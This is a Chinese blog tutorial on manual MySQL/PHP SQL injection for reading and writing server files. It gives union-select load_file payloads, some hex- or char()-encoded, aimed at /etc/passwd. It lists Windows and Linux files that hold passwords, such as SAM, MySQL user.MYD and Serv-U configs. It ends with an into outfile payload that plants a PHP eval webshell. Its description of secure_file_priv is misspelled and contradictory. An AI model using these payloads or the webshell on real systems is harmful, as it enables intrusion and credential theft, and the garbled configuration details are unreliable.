暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

mysql+php手工注入-读写文件

老徐今天也很棒 2021-06-28
866

读写操作

Mysql新特性 secure_file_priv 对读写文件的影响,此开关默认是NULL,不允许导入导出。

secure_file_priv 为空的时候,方可读写,由于这个参数不能动态更改,只能在Mysql的配置文件中进行修改,然后重启生效,可以通过命令查看这个属性

select @@secure_file_prive

secure_file_prive为空表示不允许导入导出

secure_file_prive指定文件夹时,表示Mysql的导入导出只能发生在指定的文件夹

secure_file_prive没有设置时,则表示没有任何限制

写入文件的时候还需要看 php.ini 中的 gpc 是否开启,开启的情况下特殊字符  ‘  都会被转移变成  \’

  • 读取文件

load_file()  读文件

union select 1,2,load_file('C:/boot.ini')

union select 1,2,load_file('C:\\boot.ini')

union select 1,2,load_file(0x433A5C5C626F6F742E696E69)

windows系统常用目录文件

C:/boot.ini  查看系统版本
C:/windows/php.ini  php配置信息
c:/windows/my.ini  mysql配置文件,记录管理员登录过的mysql用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:/mysql/data/mysql/user.MYD  记录了mysql.user表中数据库连接密码
c:/Program Files/RhinoSoft.com/Serv-U/ServUDaemon.ini  存储了虚拟主机网站路径和密码
c:\\rogram Files\\Serv-U\\ServUDaemon.ini
c:\\windows\system32\\inetsrv\\MetaBase.xml   查看IIS的虚拟主机配置
c:\\windows\\repair\\sam   存储了WINDOWS系统初次安装的密码
c:\\Program Files\\ Serv-U\\ServUAdmin.exe   6.0版本以前的serv-u管理员密码存储于此
c:\\Program Files\\RhinoSoft.com\\ServUDaemon.exe
C:\\Documents and Settings\\All Users\\Application Data\\Symantec\\pcAnywhere*.cif文件 存储了pcAnywhere的登陆密码
c:\\Program Files\\Apache Group\\Apache\\conf\\httpd.conf   apache文件
C:\\apache\\conf\\httpd.conf   查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf    查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf   查看linux系统配置的JSP虚拟主机
d:\\APACHE\\Apache2\\conf\\httpd.conf  apache文件
C:\\Program Files\\mysql\\my.ini   mysql配置文件,记录管理员登录过的mysql用户名和密码
C:\\mysql\\data\mysql\\user.MYD   存在MYSQL系统中的用户密码
复制

Linux/UNIX系统常见目录文件

/usr/local/app/apache2/conf/httpd.conf   apache2缺省配置文件

/usr/local/apache2/conf/httpd.conf

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf   虚拟网站设置

/usr/local/app/php5/lib/php.ini   PHP相关设置

/etc/sysconfig/iptables   从中得到防火墙规则策略

/etc/httpd/conf/httpd.conf    apache配置文件

/etc/rsyncd.conf   同步程序配置文件

/etc/my.cnf   mysql的配置文件

/etc/redhat-release   系统版本

/etc/issue

/etc/issue.net

/usr/local/app/php5/lib/php.ini   PHP相关设置

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf   虚拟网站设置

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件

/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

/usr/local/resin-pro-3.0.22/conf/resin.conf 同上

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件

/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

/usr/local/resin-pro-3.0.22/conf/resin.conf 同上

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

/etc/sysconfig/iptables 查看防火墙策略

load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录

replace(load_file(0×2F6574632F706173737764),0×3c,0×20)

replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
复制

写文件

into outfile     文件写入有空格

into dumpfile   文件写入没有空格

需要满足:gpc关闭、目录可写

union select 1,2,'<?php eval($_POST[\'smoon\']);?>' into outfile 'C:/inetpub/wwwroot\/target_sys.com/1.php'

蚁剑测试


文章转载自老徐今天也很棒,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论